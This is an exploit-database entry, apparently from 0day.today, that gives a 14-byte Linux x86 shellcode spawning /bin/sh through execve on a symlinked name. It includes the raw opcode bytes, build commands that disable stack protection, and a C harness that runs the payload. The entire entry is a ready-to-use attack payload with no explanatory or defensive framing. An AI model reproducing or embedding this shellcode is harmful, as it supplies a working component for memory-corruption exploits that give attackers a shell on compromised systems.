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linux/x86 execve("a->/bin/sh") Local-only Shellcode 14 Bytes
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linux/x86 execve("a->/bin/sh") Local-only Shellcode 14 Bytes
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#include <stdio.h>
#include <string.h>
/*
by Magnefikko
17.04.2010
magnefikko@gmail.com
Promhyl Studies :: http://promhyl.oz.pl
Subgroup: #PRekambr
Name: 14 bytes execve("a->/bin/sh") local-only shellcode
Platform: Linux x86
execve("a", 0, 0);
$ ln -s /bin/sh a
$ gcc -Wl,-z,execstack filename.c
$ ./a.out
Link is required.
shellcode:
\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80
*/
int main(){
char shell[] = "\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}
# 0day.today [2024-12-24] #